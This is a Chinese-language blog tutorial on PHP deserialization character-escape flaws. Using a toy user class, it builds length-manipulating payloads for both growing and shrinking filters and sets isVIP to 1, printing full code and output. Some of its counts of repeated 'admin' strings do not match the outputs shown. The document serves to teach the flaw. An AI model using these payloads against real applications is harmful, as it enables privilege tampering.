【PHP反序列化字符逃逸】PHP反序列化字符逃逸详解

本文最后更新于:2021年8月20日晚上7点06分

PHP反序列化字符逃逸的原理

当开发者先将对象序列化,然后再将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

详解PHP反序列化字符逃逸

对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。

  • 过滤后字符变多
  • 过滤后字符变少

过滤后字符变多

假设我们先定义一个user类,然后里面一共有3个成员变量:usernamepasswordisVIP

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class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。

接下来把完整代码贴出来,便于我们分析。

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<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

$a = new user("admin","123456");
$a_seri = serialize($a);

echo $a_seri;
?>

这一段程序的输出结果如下:

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O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

可以看到,对象序列化之后的isVIP变量是0

这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:

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function filter($s){
return str_replace("admin","hacker",$s);
}

因此整段程序如下:

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<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hacker",$s);
}

$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

这一段程序的输出为:

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O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这个时候我们把这两个程序的输出拿出来对比一下:

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O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}	//未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤

可以看到已过滤字符串中的hacker与前面的字符长度不对应了

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s:5:"admin";
s:5:"hacker";

在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量

接下来明确我们的目标:将isVIP变量的值修改为1

首先我们将我们的现有子串目标子串进行对比:

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";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}	//现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串

首先计算我们需要注入的目标子串的长度

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";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的长度为47

因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。

因此我们在可控变量处,重复47admin,然后加上我们逃逸后的目标子串,可控变量修改如下:

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adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整代码如下:

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<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hacker",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

程序输出结果为:

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O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

我们可以数一下hacker的数量,一共是47hacker,共282个字符,正好与前面282相对应。

后面的注入子串也正好完成了逃逸。

反序列化后,多余的子串会被抛弃

我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:

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<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hacker",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);

var_dump($a_seri_filter_unseri);
?>

程序输出如下:

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object(user)#2 (3) {
["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}

可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。

过滤后字符变少

上面描述了PHP反序列化字符逃逸中字符变多的情况。

以下开始解释反序列化字符逃逸变少的情况。

首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。

完整代码如下:

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<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('admin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

得到结果:

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O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

同样比较一下现有子串目标子串

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";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}	//现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。

计算一下目标子串的长度:

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";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串
//长度为47

再计算一下到下一个可控变量的字符串长度:

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";s:8:"password";s:6:"
//长度为22

因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)

完整代码如下:(这里的变量里一共有22admin

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<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

输出结果:

注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。

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O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:

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hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

image-20210820123924897

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

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";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串

完整代码为:

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<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

输出:

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O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

image-20210820131627262

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。

修改后代码如下:

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<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

输出结果为:

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O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

分析一下输出结果:

image-20210820130134043

可以看到,这一下就对了。

我们将对象反序列化然后输出,代码如下:

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<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);

var_dump($a_seri_filter_unseri);
?>

得到结果:

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object(user)#2 (3) {
["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了